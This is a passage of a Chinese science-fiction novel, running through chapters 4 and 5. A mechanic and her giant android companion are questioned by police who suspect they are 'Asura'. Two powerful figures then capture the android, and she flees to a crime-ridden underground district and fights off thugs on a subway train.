“我想可能是有什么地方误会了,但我们真的和它们没关系。” “有没有关系,跟我们回局里接受调查后再说吧!” 警长话音刚落,卡玛便伸出左手,掌心直对着他,与此同时,阿汉也换用左臂抱着她,用右手掌心对准了同样的目标。 咔咔咔咔!—— 警察们吓得全都条件反射似的举起了枪,亲眼目睹了女孩和巨人——尤其是那巨人的力量后,他们简直怕极了阿汉。 “只要我发出命令,他就会在三十秒内将你们全部杀掉。我再说一次——我们不是所谓的‘阿修罗’,跟那种东西也完全没有关系,不要再纠缠不清。”说完卡玛又补充了一句: “我耐心有限。” 这时,周围出现了一些窃窃私语。 “一定是阿修罗……一定是阿修罗啊……” “如果不是阿修罗……怎么可能拥有那种力量?” “你刚才看到了吗?那巨人被装甲车砸了那么多下,竟然连一点事都没有……哪有这么耐打的人造人体?” 听到这些,卡玛眯了眯眼。 刚才四散而逃的居民又三三两两地从藏身之处围了过来,交谈的声音随不大,但要听清楚也不是难事,见他们畏缩着冲着自己指指点点,卡玛便明白今天可能会有些麻烦了。 那个被“阿修罗”折断并啃掉一条腿的人在别人的搀扶下,单脚跳着走过来,他看上去非常恼怒,刚刚从“阿修罗”手下捡回一条命,大概也豁了出去,什么也不怕了,他边跳边嚷: “如果不是阿修罗,怎么受伤后会流蓝色的血?——你们看,那女孩腿上的伤口……” 众人顺着他手指的方向望去,全都发出惊呼。 卡玛的腿上,被机械触手擦伤的地方,并没有触目惊心的血红,而是一片淡蓝——与那“阿修罗”受伤时的情形并没有什么两样。 卡玛怔怔地望着自己的伤口,那人又道: “那种蓝色的光,不也跟阿修罗的力量一模一样吗?……” 伊诺也没话说了。 卡玛的血液是蓝色的,她的手心可以发射出具有破坏力的蓝色光球;阿汉的身体,无论是防御还是进攻,性能都远远超越现在的摩诃科技……就连他,只剩个头颅却还能大喊大叫——如此种种,想让人相信他们与“阿修罗”无关,可能吗? 阿汉依然保持着原先的姿势,只要卡玛一点头,他就会立即向阻拦他们的人发动攻击。 “阿汉。”卡玛轻轻地摇了摇头。 巨人顺从地放下了手,眼中的蓝光也缓和下来,警察们不约而同地松了口大气。 这家伙虽然可怕,但他似乎非常愿意听那女孩的吩咐。 “事先声明,我拒绝任何形式的研究或采样分析,并且不能将我们隔离,三小时内如果还找不到证据证明我们跟那东西有关系就立即放我们走,我知道我们的权利,别想耍我们。”卡玛用警告的口吻对警长说,“这只是协助调查,我不想杀人。” 她只有二十岁上下,凌厉的目光却令从警三十余年的警长不敢直视。 “除了我的卡车我不搭乘任何交通工具。”卡玛说,“阿汉也坐不进你们的警车。” 警长除了答应之外也别无他法。 于是,阿汉带着卡玛和OK,卡玛抱着伊诺的头颅,在警察的层层看护下走进了他们的卡车,一半的警员跟着返回警局,剩下的全都留下来封锁现场,处理善后。 在十余辆警车的护送下,巨大的货柜卡车悬浮至半空,收起轮胎,静静地开走了。 人群中,一个光头男人傻了眼,眼睁睁地看着卡车和警车消失了空中。 这究竟是怎么回事?他们怎么就这样走了?他的妮可怎么办?他们要把他女儿带到什么地方去?…… 卡车车厢里,四名持枪的壮硕警员守在一旁。头儿下了命令,他们也只能硬着头皮跟着登上这卡车,可谁也不敢太接近阿汉,一想到自己身上的防弹衣在那巨人面前犹如薄纸,他们就不约而同地觉得自己就好像是看管老虎的兔子——而且他们还跟这老虎关在一个笼子里。 卡玛显得非常疲惫,她张开双臂,紧紧地抱着阿汉,蜷曲在他怀里,似乎只有这样才会令她感到安全。阿汉的巨掌在她单薄的背上轻轻地抚着,脸上依旧是一如既往的漠然。 “阿汉。”她小声说,“如果我出了什么事,你会来救我的,对吗?” 巨人凝视着她,之后缓缓地点了点头。 一个黑色的影子凝视着脚下。 它正站在一座被弃置已久的电视塔上,这是第三十七贫民区里最高的建筑物。 贫民区的空气污染比市区内要轻得多,所以它很轻易地看到了下面发生的一切。 当那辆货柜卡车在警车的护送下离开了贫民区后,它便往空中一跃,悄无声息地消失了。 4. 第 4 章 人是都带回来了,然而警长依然大皱其眉。 警局大厅里,无论警员还是嫌疑犯,都将目光集中在讯问室里的几个人身上。 卡玛在抵达警察局之前就已睡着了,此刻她依然趴在桌子上旁若无人地呼呼大睡,身上奇异的蓝色让局里的人有些畏惧——不知从何时起,蓝色已经成为那种东西的代表色了——当他们听同僚说起在贫民区的所见所闻后,更是不敢贸然接近这个蓝色女孩。 伊诺的身体被毁掉,他的头部也在进入讯问室之前失去了能量供应,而局里本来便极缺人手的技术组又把全部人员都派去处理现场了,想必在他们回来报到之前是没法让这个紧闭双眼的脑袋开口说话了。 阿汉双手放在膝上,端正地坐着,虽然他是三个人当中唯一一个处于活动状态的,可压根就没人指望能从他嘴里套出什么——无论怎么努力,他就是一个字也不说。这个大块头可能也是个“阿修罗”的谣言已在警局里传开了,每个人都小心翼翼,生怕触犯到他引来已方被瞬间秒杀。 那只叫OK的银貂,待在笼子里好奇地东张西望,可它却又是个不会说话的小家伙。 烦闷至极中,时间一点一点地挪着,警长的视野里显示已过了一个半小时,可他们半点收获也没有。 不抱希望地,警长站起来,对坐在他对面的阿汉开口: “三个人当中,只有你没有任何档案……你叫阿汉对吗?你是什么时候接受身体改造的?……是谁帮你进行的?还能记起来么?” “……” “卡玛小姐跟你,到底是什么关系?把你的身体改造的是不是她?” “……” 警长叹了口气。 “你会说话吗?” “……” “他会说话。” 冷不防一个女孩的声音懒洋洋地从阿汉身边传来。 “哇!——”包括警长在内,讯问室里的探员们全都吓了一大跳。 不知什么时候,卡玛已经醒了。 “啊,啊……你醒了……”警长汗涔涔地从衣兜里掏出手帕擦了擦两鬓,“你的朋友……他会说话?” “他只是话不多。”卡玛揉了揉眼,有气无力地趴在桌子上,摆弄着警长面前透明的烟灰缸,“喂,有东西吃么?我饿了。” “你现在可是在接受讯问!”警长有些恼火,他的耐性已被消磨得差不多了,这女孩究竟知不知道她现在的身份是嫌疑犯? “你们想知道什么?”卡玛不耐烦地翻了翻眼,“时间是不是快到了?我们可以走了吗?我还有工作没做完呢。” “我们已经把那个小女孩送走了,会有其他的机械师来帮她完成脑部检修。”警长说,“我们已通知她父亲了……” 唰!—— 卡玛突然站了起来。 “你说什么?!”她睡意全无,猛地跳上桌子,一把抓住警长的衣领,恼怒地咆哮道,“谁叫你们这么干的?” 不光是讯问室里的探员,警局大厅里几乎所有的人也都被她突如其来的举动惊呆了。 立即有好几支枪对准了卡玛。 一直呆坐着毫无动静的阿汉立即有了反应,他飞快地起身,用自己的身躯挡住卡玛,同时向持枪的探员们举起了左手。 “冷静!冷静!别乱来!”离得比较近的探员满头大汗地安抚着阿汉,众人心里已非常明白,任何对那女孩不利的举动都会激怒他,而像他这样具有恐怖的破坏力的家伙一旦生气则再危险不过了。 卡玛拦在阿汉身前,以防他采取进一步行动,她还不想把这么快就跟警察撕破脸。 但她揪着警长衣领的手丝毫没有放松。 “我跟我的同伴帮你们解决了那东西,结果你们非但不感激,反而把我们像贼一样押到这里来问东问西,这也就算了,我们愿意做好市民——可你们还把我做了一半的工作擅自交给其他人,这又是什么意思?因为我愿意合作,所以你们就可以这么粗暴地干涉我的私务?我一向就对这个城市里的警察没好感,但我可从来没想到你们竟然会如此讨厌!——真他妈让人烦!” 她看起来真的发火了,讯问室里十几个持枪探员被她指着鼻子一顿臭骂,个个连大气都不敢出,这女孩眼神凌厉气势惊人是原因之一,另外一个原因自然还是她身边那个对众人虎视眈眈的大汉。 阿汉身上到处是弹孔,又得帮他买新衣服,这个大块头是很听话没错,可就是合适他的衣服太难搞;伊诺只剩一个脑袋,回头还得给他重新调试新身体……今天本来的工作连一半都还没完成,现在全泡汤了不说,还遭受信誉危机——要是别人知道她卡玛连个那罗辛哈系统都摆不平她还出去混什么?还不知道自己的卡车要被扣多久…… 一大堆事情突然全都摊在面前,心情能好才怪,卡玛骂了一阵,只觉得头痛得厉害,肚子还偏偏饿得咕咕叫,心情更是恶劣非常,她立即将一切过错都推了这帮对她百般刁难的警察身上……在这个城市里,处境尴尬的警察只会成事不足败事有余,任何事情到了他们手里都会被极大复杂化,这就是阿什提的警察。 “你们究竟想知道什么?”卡玛冷冷地说,“你们那个备受争议而又无所不知的资料库里不是有全国所有人的档案么?那里面连我第一次来潮是什么时候都有记录,完全可以满足偷窥他人隐私成癖的你们的所有好奇心。” 她讥讽地提到了几年前被闹得沸沸扬扬的“伐由”系统,警长和探员们都被堵得哑口无言。 伐由系统(Varu System)由国防部在几年前秘密开发完成,本来的目的是为了全面加强国家监控,尽可能地预防和发现侵入摩诃的“不明机械武装力量”,但后来突然被媒体揭发警察总署利用该系统在全国范围内进行非法情报搜集,严重侵犯了全体公民的隐私,引起轩然大波,后来在强大的社会压力下,伐由系统被禁止使用,但从此警方在民众心目中的形象一落千丈——直到现在警方也依然面临信任危机,尽管一再强调伐由系统已被弃置,资料全都被销毁,但许多人怀疑那个系统还在暗中运行。 “我们找到了你和伊诺先生的档案,但你的档案里并未对你的特殊体质有任何说明……”半响,喘过气来的警长才抹着汗低声说。 “所以你们就怀疑我跟那些东西有关?”卡玛冷笑一声,“全国没档案的人至少有五百万,没出生记录的不下八十万,怎么不去怀疑他们?人体改造成风,导致人类基因库部分染色体变异,因此而产生超能力的人占了世界人口的1.7%,在阿什提市就有个‘超能力者俱乐部’,你们怎么不去查?我的血液是蓝色的同样是因为基因突变——这世上还有很多像我这样的‘蓝血人’,你们怎么不去逮捕他们?” 她的语速快得出奇,并且毫无漏洞,所有人都听得发愣,仔细想想,这女孩说得好像确实很有道理…… “而且我根本就不曾有过人体改造记录。”卡玛翻着白眼,“我全身上下全都是天然的,不信的话你们可以对我做全身检查,但如果检查结果证明我没有说谎,你们就需要给我一个说得过去的解释了,你们追查的是‘机械武装份子’,而我身上连一个螺丝钉都没装,凭什么把我关在这个房子里浪费时间?根据联邦人权法我完全可以起诉你们滥用职权,我现在就可以给我的律师打电话,你们因为这种事情而遭到投诉也不是第一次了吧?” “可……可他……”警长战战兢兢地伸手指着她身后的巨人。 “你们没找到他的档案对吧?”卡玛没好气地问。 “没有……” “你们没从他嘴里问出一点东西来对吧?” “没有……” 卡玛用看笨蛋的眼光盯着那位警长。 “废话,当然没可能了。”说着她回头望了阿汉一眼,“他没有档案,没有得到我的命令他也不会回答任何人的问题。” 见所有人都疑惑地望着那巨人,卡玛耸了耸肩,给出谜底: “因为他是个机器人。” “哎?”每个人都睁大了眼。 “他本来就不是人类,是台全人工制的机器,怎么可能会有档案?”卡玛说,“现在你们明白了么?” 该死,饿得胃都有点痛了,现在她能吞下一头大象。 过了好一会,才有个探员开口: “现在……现在有哪家公司能造出这么厉害的机器人吗?……” 所有人都在摇头。 “他是我造出来的。”卡玛拿出自己的资深机械师证书,“他不属于任何一个公司的工程项目,也没有什么型号,更没有出厂说明书,似乎政府最新颁布的科技法中没有规定公民不得自行研制机器人吧?——还有什么问题吗?” 这下没人有话说了,如果这个大个子真的是这女机械师凭空造出来的,那么它便是属于她的私人物品,没有得到上头许可,是不能再对其进行调查的。 “我们可以走了吗?”卡玛问。 警长左右为难,昨天一场火拼下来,局里伤亡惨重,眼看着出现了一条可能相关的线索,却又不能追查下去,只能眼睁睁地放人……但他也非常清楚,他们已逾越了自己的职权范围,若这女孩真的提出诉讼,他们只能赔偿道歉,同时成为媒体和同行的笑柄。 “小姐,实在是非常抱歉。”踌躇了许久,警长终于对那女机械师说,“谢谢你的合作。” 卡玛没理他,从桌上抱起OK,将它丢进阿汉的怀里,然后捧起伊诺的头颅。 “我的车呢?” “在地下车库……” 卡玛径自朝警察局门外走去,阿汉默默地跟在她身后,没一个人敢拦在他们面前。 “就这样?”一位探员不甘心地盯着那一大一小两个背影。 走进地下停车库,卡玛一眼就看到了她的货柜卡车。 “阿汉,你觉得警察会就这样放过我们么?”她低声问那巨人。 阿汉缓缓地摇了摇头。 “我觉得也是。”卡玛说,“所以我打算换个地方,虽然阿什提的机会很多,但也常常会有这种麻烦的事情——我们现在就离开这座城市,往……” 她想了想。 “往南边走吧,去那里的沿海小镇怎么样?” 阿汉点头——对于这些事情他从来是没有意见的,无论卡玛的决定是什么,他都会绝对忠诚地执行。 卡玛将伊诺放进车厢里的实验台,当她刚刚把驾驶舱门拉开,却听到身后传来了一个陌生的男人声音。 “这位小姐,请稍等一下。” 她转过脸,冷而不耐地说: “你们还想怎样?” 当看清来人的相貌后,卡玛却愣住了。 他身材顷长,一头鲜红色的短发,非常俊美,白色的风衣,简单大度。 他拥有一双奇异的赤色眼瞳,宛如两颗纯净的红宝石。 她从未见过这个人,但他看起来不像警察,这样一个一尘不染、拥有雍容尊贵气质的美男子出现在警察局的地下车库里,感觉有些古怪。 “我不是警察。”白衣男子微笑着说,“但我恰好也对你们很感兴趣。” “你是什么人?”卡玛的语气中多了一丝警觉。 阿汉盯着那个男人,蓄势待发,只要那人对卡玛有任何不利的企图,他就会立即毫不犹豫地采取行动。 但那白衣男子却对卡玛的疑惑和阿汉的戒备不以为意,继续开口,声音清晰柔和,似乎完全没有意识到站在自己面前的女孩与巨人都具有难以估量的攻击性。 “警察不会善罢甘休,当找到你们与‘阿修罗’具有联系的证据后他们便会采取行动,这可不是离开阿什提前往南方的海边小镇便能解决的问题。”他说。 “他们不会找到任何确凿的证据。”卡玛盯着那男人的赤瞳,“我们跟那些东西本来便毫无关系。” “似乎你很了解你的伙伴的样子。”白衣男子说着,视线移到了那个正对着自己虎视眈眈的巨人身上。 “至少比别人了解得要多些。”她回应道。 从数小时前卡玛就开始感到后悔,为什么她要答应伊诺跑去贫民区?那家伙对“阿修罗”有怨念也不是一天两天了,她干吗也跟着趟浑水?现在可好了,麻烦接踵而至,刚刚暂且应付完警察,又不知从哪冒出来一个穿着一身白大褂的帅哥,她越看越觉得这男人像只华丽的大白兔,若是耳朵再长些就更像了…… “听说你是他的设计师和制造者?”他问,“这样一个设计尖端,做工精湛的机器人,会是在怎样先进的实验室里造出来的呢?”说完他朝货柜卡车车厢的方面瞟了一眼,“是在这里面吗?……” “……” “你也一定有他的设计图咯?”男子笑道。 “我已将实验室和设计图都毁掉了。”卡玛说,“我想让他成为这个世界上独一无二的,另外我也不想让这些东西落入别人手里——我喜欢让一切都处于我的控制之下。” “原来如此。”他点了点头,“那么,你至少应该了解他的能量体系吧?与‘阿修罗’相比有过之而无不及的破坏力,究竟又是什么在维持其能量消耗呢?” “你到底是什么人?”卡玛提高了声音。 “说不出来吗?”男人像是乐于消磨她的耐心,“这也难怪。不属于摩诃的东西,在某种非常巧合的机缘下,被人类据为己有,但实际上至今仍对其一无所知,因为这东西是超越人类智慧的存在吧?” “语无伦次,我不想再听下去了。”卡玛坐进驾驶舱,重重地拉上门。 “我可以让警察停止对你和你伙伴的调查,可以确保警方永远不来找你们的麻烦。”白衣男人不紧不慢地说,“也许我还可以告诉你一些关于这个巨人的事情——尽管现在我对他的了解还不是很完整,但少许分析检测之后就会有明晰的答案。” “我凭什么相信你的话?”卡玛透过车窗,冷冷地盯着那男人。 “真是失礼,到现在为止我还没有自我介绍。”白衣男子向她微微一欠身,“我叫希格玛,相信作为一位资深机械师,你应该不会对这个名字感到陌生。” 卡玛愣住了。 希格玛?…… 该不会……她所知道的叫这个名字的,是在过去、现在和未来都给这世界带来巨大影响的人。 在毫微电子和生物机械领域,这个名字无人不晓,然而他一直都处于那集团公司的严密保护下,整个人都是谜,就连“希格玛”是不是他的真名也无人知晓。 甚至有人怀疑这世上根本就没有这个人存在,也许“希格玛”只是某种代号。 卡玛忽然笑了。 白衣男子望着那女孩,他的笑容掩盖着一切。 “从第六代的帕罗苏罗摩系统开始,到刚刚问世的第八代克里希纳系统,世界集团的技术整整影响了摩诃三十余年,而现在站在我面前自称是那三代系统领衔设计人的,看起来比我也大不了多少。”卡玛用嘲弄的口气说,“凭几句话就想让我相信你,未免也太勉强了。” “我只是希望你能与我们合作。”白衣男子摊开双手,有些无辜地说,“我还是觉得,不要把在自己面前出现的都视为敌人会比较好。” “我见过太多居心叵测的人。”卡玛冷哼一声,“随便相信陌生人只会给自己带来麻烦——这位‘希格玛’先生,我看我们的交谈就到此为止好了,在警察改变主意之前我只想尽快离开这里,请不要再耽误我们的时间。” 说完她发动引擎,却又不由自主地朝车窗外暗暗看了一眼。 白衣男人站在原地,既没有开口,也没有要上前阻拦的意思,只是双手插在衣兜里,望着正准备钻进卡车货柜的阿汉。 奇怪,为什么车子发动不起来? 该不是那些该死的警察在车上动了手脚吧? 她又把屏幕上的“自动/手动”模式选择键按了几下,却依然毫无反应——燃料看起来是足够的,也似乎没有其它的故障,这是怎么回事? 车窗被敲响,卡玛转头一看,发现那个自称“希格玛”的赤目红发男正笑眯眯地望着她。 “车子发动不起来?需要帮忙吗?”他慢条斯理地举起左手,“其实,只要你稍微合作一下,我完全可以不用这么做的……” 说完他打了个响指。 卡车的引擎应声而动,驾驶舱里的灯和仪表全亮,卡玛心里奇怪,但也不想多加研究。 “立即离开这里。”她说。 哔的一声,控制卡车的中央电脑收到了她的命令。 “但如果真的如此难以沟通,我也就只好让你们留步片刻了。”白衣男子又打了个响指。 那声音就好像是指令发射器一样,卡玛的卡车立即熄火,驾驶舱内漆黑一片,连应急电源都派不上用场。 卡玛坐在驾驶座上,冷笑一声。 “阿汉,替我‘招待招待’这位‘希格玛’先生。” “嗨,蓝色小姐,你难道真不想考虑考虑我的建议?我觉得这样做你并不会有什么损失,而且还能摆脱麻烦呢。”“希格玛”继续好言相劝。 “你就是我今天遇到的最大的麻烦!”卡玛恼怒地吼。 “唉,不要这样生气呀……哇!!” 他突然叫了一声,身影从车窗前一闪而过,紧接着车库里发出巨响。 希格玛轻蹙着眉头,咂了咂舌 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卡玛脸色一变,她刚才只是想吓吓这个家伙,若对方开口讨饶她就让阿汉停下来,可她完全没想到这人竟然想跟阿汉硬碰硬! 这个蠢货!难道他没看到阿汉的拳头有多厉害吗? “阿汉,停下来!”卡玛当即下令。 咣!—— 希格玛的手中突然闪出了一片红光,他的掌心和阿汉的拳头之间出现了一个五尺见方、半透明的红色光膜,它承受了阿汉那一拳的全部力量,并随之将其排向四周,两人之间的地面立即出现长达十余米的深深沟壑。 希格玛神情平静,而阿汉却付出了代价。 他的拳头碎了。 天,这怎么可能?卡玛当场愣住。 在她的记忆中,阿汉的身体还从来没有受到过这样的损坏,普通的子弹根本伤不到他分毫,威力较大的枪械也最多能伤到他的身体表层,只要将弹头取出伤口就能迅速愈合—— 然而这一次,面对希格玛,阿汉受伤了,被撕破的表皮和散落的肌肉组织连同碎裂的机械零件撒了一地,并且开始迅速消失——就好象蒸发到空气中一般。希格玛脸上略为有些讶然,似乎并没有料到自己的反击会给对方带来如此大的伤害。 嗯?阿修罗应该都有程度不一的能量护盾才对……为什么这个阿修罗拥有如此强悍的攻击力,身体却似乎完全没有防护? 好象有些过火了,希格玛有些懊恼,他可没想过要把事情弄成这样。 阿汉很显然是个阿修罗,他身上几乎具有阿修罗的一切特征,卡玛当然不可能是他的设计者,然而超出预期的是这个阿修罗和他身边女孩的关系——过去的十五年里他从未见过任何一个阿修罗会对一个人类女孩如此忠诚,希格玛能看出阿汉对自己并不在乎,而是担心他伤害到那女孩。 不容希格玛想出答案,阿汉已经展开下一步行动了,他的左臂变成了炮——正如数小时前在贫民区与那个“阿修罗”战斗时一样,但这次激发的能量明显要高于先前,巨人的左半边身体都泛起了蓝光,看来阿汉也明白自己遭遇了强敌,虽然不明白对方究竟有什么企图,但无论如何他也要确保卡玛的安全。 该死……若再使用那力量,这巨人会被反弹回去的光炮炸成碎片的。 希格玛可不想就这样让珍贵的线索从手中遛走。 所以他决定将阿汉“关掉”。 希格玛的眼中闪出红光,接着他打了个响指。 然而—— 阿汉并没有像那辆货柜卡车一样停止行动! 怎么?按照阿修罗的通用能量体系进行操作,为什么会失败?!…… 阿汉已将能量积聚到了顶点。 该死!这个冒失的家伙,他会把整座警署大楼全炸掉! 来不及多想,希格玛再度展开了自己的红色光膜,所不同的是这次他用上了双手——既然无法阻止,那就只能尽量将光炮的破坏力控制到最低水平了! …… 没有爆炸,也没有火光——阿汉积聚起来的能量并没有发射出去。 他半边身体上闪烁的蓝光迅速变淡,连他的眼睛都开始失去神采,就好像能量突然大量从身上流逝一样——关键时刻出现的奇异现象并非偶然,透过自己的红色光膜,希格玛看到在阿汉身后出现了一个庞大的黑影,他吁了口气,用抱怨的口气说: “你可总算来了,要是再迟几秒钟,这家伙就会把警署大楼变成废墟呢。” 那黑影没有回话,他的双手按在阿汉的肩膀上,阿汉起初还有反抗的企图,无奈能量流失过度,他很快便双手下垂,整个人如同虚脱般开始摇摇欲坠,他双膝一弯跪在地上,身后的黑影松开手,阿汉便扑通一声沉重地倒在了地上。 “凭你的能耐,怎么会弄得这么狼狈?”黑影说着,来到希格玛面前,停车场内的灯光照亮了他的脸,却是张全世界再熟悉不过的面孔——世界集团的执行长官,因陀罗·雷。 “事情似乎有一点超出我的估计。”希格玛淡淡地说,“毕竟我还不是三连神。” “我觉得没什么大不了的呀。”因陀罗盯着地上的巨人,“他体内的能源存量相当低,我只用了几秒钟就全部吸收了。”他边活动手指边说,“比起其他在摩诃出现过的阿修罗,我看不出他有什么不同——不过这样一来,我们就得到了一个完整的阿修罗样本啦,送去给三连神分析分析,就一定能知道窝藏在帝拜的阿修罗们到底在搞什么鬼了吧。” “在他发动攻击时,我想令他的机能停止,可是却一点效果也没有。”希格玛轻蹙着眉,疑惑地说,“我的能力不仅可以控制摩诃的一切机械,对阿修罗也是绝对有效的,可刚才为什么会失败呢?” “也许是你当时精神不够集中吧?阿修罗的内部构造连你也不是完全清楚,偶尔失误也没什么奇怪啊。”因陀罗大大咧咧地拍了拍希格玛的肩头,“别担心,我不会告诉多闻他们的,嘻嘻。” “我觉得这个家伙有点古怪。”希格玛并没有被因陀罗逗乐,依然望着阿汉若有所思,“也许他真的和其他的阿修罗不太一样,就像他跟那个女孩……” 说到这里,他突然想起了什么,朝那辆货柜卡车望去。 卡车驾驶舱的门半开着,里面已空空荡荡,希格玛环视四周,哪里还有那个蓝色的影子? “女孩?”因陀罗东张西望,“什么女孩?” “她好像已经逃走了。”希格玛有些懊恼,“我今天的失误真是高得出奇。” “那个女孩怎么了?”因陀罗有些不解,“难道她也是阿修罗?” “不是。”希格玛微微摇了摇头,“但她似乎与这个阿修罗有些非同寻常的关系。” “我看我们还是先离开吧。”因陀罗说着向阿汉走去,“虽然我们骗过了摄像机,但这里的动静还是很快就能把警察引来呢。” “我们可以把这辆车开走。”希格玛笑了笑,“这是那女孩的,是辆好车。” “她连自己的车都不要了?我们又不会对她怎样。”因陀罗嘟哝着,弯下腰去扛阿汉。 “我们似乎吓到她了。”希格玛耸了耸肩,“没关系,反正请三连神搜索的话,很快就能得知她的行踪,其中有些误会解释清楚就没事了——我总觉得她和这巨人之间肯定有什么故事,我对这个很感兴趣……” “喂……”因陀罗忽然低唤了一声。 “当然我更关心的是阿修罗本身,我有一种预感,帝拜那里似乎发生了……或者即将发生什么事情,可三连神他们却什么也不说……”希格玛继续自言自语。 “嘿。”因陀罗提高了声音。 “嗯?怎么了?”希格玛看过去,发现因陀罗的表情有些古怪。 “你今天的失误不少……”因陀罗指着地上的阿汉,低声道,“可有件事你好像说对了……” 阿汉趴在地上,他上半身的衣物在刚才剧烈的能量冲击中被撕破,裸露在外的背上似乎有些什么黑色的东西。 因陀罗小心地将他背上其余的破损衣物拨开,然后一脸愕然地望着希格玛。 希格玛仔细一看,却也骤然变色,同时轻轻地“啊”了一声。 那个失去能量,停止行动的阿修罗背上—— 有着清晰巨大的黑色莲花图案。 许久,因陀罗才没头没脑地问了句: “三连神给他的任务……找的就是这个吗?……” 希格玛轻吁了口气,微微一笑。 “看来我们运气不坏,那么接下来寻找那女孩,就该是他的工作了吧。” 5. 第 5 章 阿什提·底层污染区 虽然底层污染区早已被人遗忘,但实际上这里依然有人居住,因为其隐蔽性好,再加上政府对污染区放任不管,所以这里成为犯罪滋长的温床,和上面的世界比起来,毒品、色情、军火、人体器官交易完全公开化和自由化,人造肢体移植是最热门的生意——当然是无执照的。 阿什提·底层污染区西南第六区·埃尔大街地铁站 上个世纪的地铁本已被市政府弃置,某家公司低价收购了其中三条路线和配套设施继续运营,地铁车厢脏乱陈旧,治安混乱,但在被遗弃的污染区,还能有这种交通工具使用,已是难得,再加上乘坐费用低廉,不能再要求太多。 一个有着蓝色短发的年轻女孩斜靠在候车位上,她戴着太阳眼镜,拉高衣领,怀里抱着一个黑色的旅行袋,除她以外站台上空无一人。 她的脚边放着一个小铁笼,里面有一只银貂,它正好奇地朝四周不住张望。 两小时前她从阿什提第六警察分局逃了出来,一路上不断地更换交通工具——为了确保没人跟踪,她不得不随时紧绷神经,直到此刻身处污染区的地铁站,她还是紧张得浑身发抖。 那个自称希格玛的男人很不简单,他应该不是警察……能如此轻易地压制住阿汉,他到底是什么人? 那个男人似乎并没有什么恶意,但她就是会感到自己受到威胁。也许在与外界接触时她警觉得有些近乎神经质,哪怕阿汉就在自己身边,她仍然会没来由地有危机感,而且这种感觉最近越来越明显,就像是在预示什么的某种征兆—— 难不成指的就是这个? 现在阿汉不在身边,无比重要的卡车也留在了警察局,自己已经完全失去保护。 在恢复能量供应前伊诺会持续昏迷,没有人给她出主意,唯一能给她带来些许慰藉的只有无忧无虑的OK。 现在的她疲惫饥渴,腿上的伤虽然不重,在警察局里也经过包扎,但毕竟不能应付太久,但此时她除了忍耐外没有其他选择。 好消息是,这座城市里还有一个人能对她给予帮助。 坏消息是,她上次与这个人联络是四个月以前的事。 她知道那个人在污染区活动,但不确定地址是否依然有效,其实那个人现在是不是还活着她也不清楚。 卡玛自嘲地笑了笑。 地铁入口传来了杂乱的脚步声,她斜着眼瞟过去,几个酩酊大醉的男人东倒西歪地来到站台上,互相推搡打闹,嘴里还含混不清地喧哗,她厌烦地蹙了蹙眉,不过当她正想重新找个更加不起眼的地方时,列车进站了,于是她拎起装着OK的铁笼闪进了七号车厢。 一进车门她就感到头皮发麻,车厢里靠近门口的座位上,四个男人正齐刷刷地盯着她,个个牛高马大,身上都有花花绿绿的纹身,一看便知绝非善类,她刚想出去,但车门已经在她背后合上了,她只得小心翼翼地来到车厢角落的位子上坐下来。 “小姐,发型很拉风啊,在哪里染的?”列车一开动,其中一个衔着烟,十根手指金光灿灿的男人便开始跟她搭讪。 “小姐,刚从宠物店回来吗?你的品味还真特别呢。”另外一个人笑嘻嘻地打量着小铁笼里的银貂,“这老鼠漂亮得很哪。” 她将铁笼放到膝上,一言不发。 除了工作所需,她本来便不太愿意跟陌生人接触,更何况是这样的场合?她真恨不得地铁立即到站,可偏偏地铁路线图上标明接下来的一站不会停。 那七个男人起身离座,向她慢慢踱过来。 虽然拥有奇异的力量,但不到万不得已她不会随便使用,况且对方人多势众……可这并不意味着她打算让这些人为所欲为,今天倒霉事一件接着一件,她已经受够了。 “走开!”她低声叱道,之后她觉得自己的口气可能过于恶劣,便改变了一下措辞。 “请离我远一点。” “哎呀,小姐,你刚才说了什么吗?”一个耳朵上打满洞穿满环的男人将手放在耳边,凑近卡玛,表情夸张地问,“是不是在夸我帅呀?” 车厢里还有其他几名乘客,一见这边似乎要出事,便纷纷蹑手蹑脚地离开了,在污染区,普通的穷市民是惹不起乱子的。 只有一位乘客依然坐在原处,他本来在看报纸,车厢另一头的动静引起了他的注意,于是他放下报纸,将空白的传像薄膜叠起来塞进外衣口袋里。 “小姐,你要不要去我们那里玩玩?像你这么有性格的女孩,我们那里的人会都很想‘上’你的呀……”耳环男说到这里,周围的人禁不住怪笑起来,几个男人神情淫亵,见卡玛面无表情耳环男更来劲了,将自己的一只手搭在她的肩上。 “其实我刚才想说的是……”卡玛低声说。 “嗯?你刚才想要说什么?”耳环男兴致勃勃地将脸凑到卡玛面前,“是不是很想要了?——在这里也没问题呀……” “我是想说——”卡玛冷笑一声,“你们都去死吧。” 她话音刚落,面前的耳环男就整个人“飞”了出去。 她依然一手抱着旅行袋,一手护着那只小铁笼,根本不曾动过,但那耳环男却被一股巨大的力量狠狠推开,他重重地撞在列车门上,接着软绵绵的沿着车门滑倒在地,然后就再也没了声响,旁边三个人好半天才反应过来,接着全都用不敢置信的目光望着卡玛,谁会相信,一个身高超过一百八十公分的大汉会被眼前的女孩在一眨眼的功夫就扔出去? 一人上前检查,发现耳环男还有鼻息,似乎是被撞晕了过去。 “还想不想‘上’我?”卡玛决定用这些无赖发泄不爽,于是轻蔑地耸了耸肩,“这么快就挂了,真是完全不能让人满足。” “臭婊子,少装腔作势!”三人唰唰几声亮出刀子,同时朝她扑去。 于是他们全都跟耳环男一样被扔了出去,一个当场昏厥,另外两个在车厢地板上痛苦地扭动,估计一时片刻也爬不起来了。 卡玛起身,朝车厢的另一头走去。 她并非第一次来污染区,这种街头混混到处都是,虽然很轻易地便解决了他们,然而此时卡玛却心跳得很快,并且身体发冷,一定是很久没有补充热量,刚才动手又加速了剩余体力的消耗。 关键在于,阿汉不在身边,她极度缺乏安全感。 疲惫感令她大意,那个手上戴满戒指的男人突然从地上爬了起来,然后两眼发直地朝她冲去,等到卡玛发现自己背后有些异样时回头,却已来不及了。 那人的右臂前端突然裂开,从肘部亮出寒光闪闪的巨大刀刃,朝她恶狠狠地直劈而下! OK发出尖锐的叫声,卡玛心中暗忖不妙,可她已无法闪躲了。 被这一刀劈中,也就意味着她从此得开始使用人造人体了吧?…… …… 刀刃没有砍到卡玛,车厢里也没有鲜血四溅。 一个高大的黑色身影挡在了她跟前。 “唔……唔唔!——”凶徒面目扭曲,两腮的肌肉不住地抽动,双眼却呆滞无神,他手臂上改装的刀刃被那女孩面前突然闪出来的人用两根手指夹住,无论他怎么用力,刀锋却始终像嵌进了石缝中纹丝不动。 